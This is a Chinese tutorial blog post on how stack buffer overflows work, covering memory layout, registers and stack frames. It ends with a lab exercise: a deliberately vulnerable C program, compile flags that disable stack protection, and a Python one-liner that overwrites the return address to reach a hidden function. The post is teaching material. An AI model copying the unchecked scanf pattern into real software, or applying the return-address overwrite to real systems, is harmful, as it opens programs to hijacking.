概述
1.缓冲区溢出的两个操作:
破坏栈 smash the stack
修饰函数返回地址 modify the return address of the function
2.内存的存储分配:
from high address to low address:
command-line arguments and environment variables:程序运行之前存在的变量和环境变量
stack:栈,存放函数参数,返回地址和函数本地变量的位置。存储时往下走。
heap:堆,存放动态存储空间,malloc从此分配。存储时往上走。
uninitialized data(Bss egment):存放所有未初始化的变量,包括全局和静态变量
initialized data(Data Segment):存放所有初始化的变量
text:存储代码,一般只读
3.常用寄存器:
- EIP:指令寄存器。存放下一个CPU指令存放的内存地址,当CPU执行完当前指令后,就会从EIP寄存器中读取下一条指令的内存地址。每条指令执行过后,它的大小就会根据新指令的大小变化。
- ESP:堆栈寄存器。存放栈顶,也就是最后一个元素的位置。常处于最低的内存地址。堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP就会越来越小。在32位平台上,ESP每次减少4字节。
- EBP:基指针寄存器。用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
4.栈的基本模型及函数调用状态
参数N | 高->低地址 |
---|---|
arg2 | 调用参数 ,函数中的参数从右至左入栈 |
arg1 | |
Return Address | 返回地址 ,将进行调用之后的下一条指令地址作为返回地址压栈,存储EIP信息 |
Caller’s ebp | 将当前寄存器的值(调用函数的基地址 )压栈,并将EBP的值更新为当前栈顶地址,即ESP的值 |
Local Variables | 将被调用函数的局部变量 等压栈。ESP的值不断减小。发生调用时,程序还会将被调用函数的指令地址存到eip寄存器内,从而依次执行调用函数的指令。 |
上表中除调用参数以外的数据构成了被调用函数(callee)的状态。
函数调用结束时:
- 被调用函数的局部变量被弹出栈外
- 接下来,ESP和EBP同时指向调用函数的基地址,基地址从栈中被弹出,并存到ebp寄存器内。esp指向返回地址。
- 返回地址从栈中被弹出,并存到EIP寄存器内。
5.栈溢出攻击的实现原理
当函数在执行内部命令时,我们无法获得程序的控制权。
当发生函数调用或者结束函数调用时,程序的控制权会在函数之间跳转,这时可以通过修改函数状态来实现攻击。
控制程序执行指令最关键的寄存器是EIP。由于在退栈过程中,返回地址会被赋值给EIP,所以只需让溢出数据用攻击指令的地址覆盖原来的返回地址。
6.应用实例
在Linux的Kali系统下编写C文件:
cd Desktop gedit stack.c
gedit指打开某文件或创建某文件,相当于windows的记事本。当所在目录里没有该文件,就会重新创建文件。
之后弹出记事本页面,编写程序,保存后关闭退出。
程序代码如下:
#include <stdio.h> void secretFunction() { printf("Congratulations!n"); printf("You have entered in the secret function!n"); } void echo() { char buffer[20]; printf("Enter some text:n"); scanf("%s", buffer); printf("You entered: %sn", buffer); } int main() { echo(); return 0; }
在64位Linux系统下编译32位代码的准备:
首先需要下载两个库:
sudo apt-get install build-essential module-assistant sudo apt-get install gcc-multilib g++-multilib
下载上面两个库时遇到错误,根据提示对apt-get进行更新后解决。
下载好这两个库后,使用-m32过程中,遇到错误,提示缺少libc.……(记不太清楚了),百度了很久,决定下载libc6-dev-i386。
在下载过程中,对系统的libc等库进行了升级,升级之后就可以使用了。
实战编译32位代码:
一般的编译:
gcc stack.c
生成a.out可执行文件(a.out可能有故事)gcc stack.c -o stack
生成stack可执行文件./stack
即可运行程序内容破坏栈的编译:
gcc stack.c -o stack -fno-stack-protector -m32 -no-pie
-fno-stack-protector
是对栈进行破坏,注意除此处外,其它位置的stack仅为文件名-m32
表示编译32位程序-no-pie
是由于kali的gcc默认开启了位置无关码,程序运行后会随机加在到内存空间的某个位置,每次运行secretFunction
的位置都会改变。生成二进制文件
objdump -d stack
在终端的显示中寻找:
可以看出secretFunction所在的位置是080484a6
可以看出echo函数中,第二个lea右侧-0xlc(%ebp)
代表缓冲区的长度为1C,即28个字节。
即使我们只在函数中申请了20个字节的长度,缓冲区仍然设置成了28个字节。
我们要做的就是使输入覆盖掉这块地址,考虑到32位系统中调用函数的基地址和返回地址均为4个字节,所以我们只要任意输入32个字母,最后四个位置输入secretFunction函数的地址即可。
缓冲区成功溢出!
将下列代码写入终端:
python -c 'print "a"*32 + "xa6x84x04x08"'| ./stack
注意,一般Linux中自带python,且本人所用为python 2.7,python 3格式稍有不同。直接在终端输入python即可查看python版本信息。
嘿嘿,最终结果:
a后面跟的是3个字节的乱码,就这样,栈成功溢出!
推荐相关网址:https://zhuanlan.zhihu.com/p/25816426
最后
以上就是热情短靴为你收集整理的缓冲区溢出原理及Linux系统下实例的全部内容,希望文章能够帮你解决缓冲区溢出原理及Linux系统下实例所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复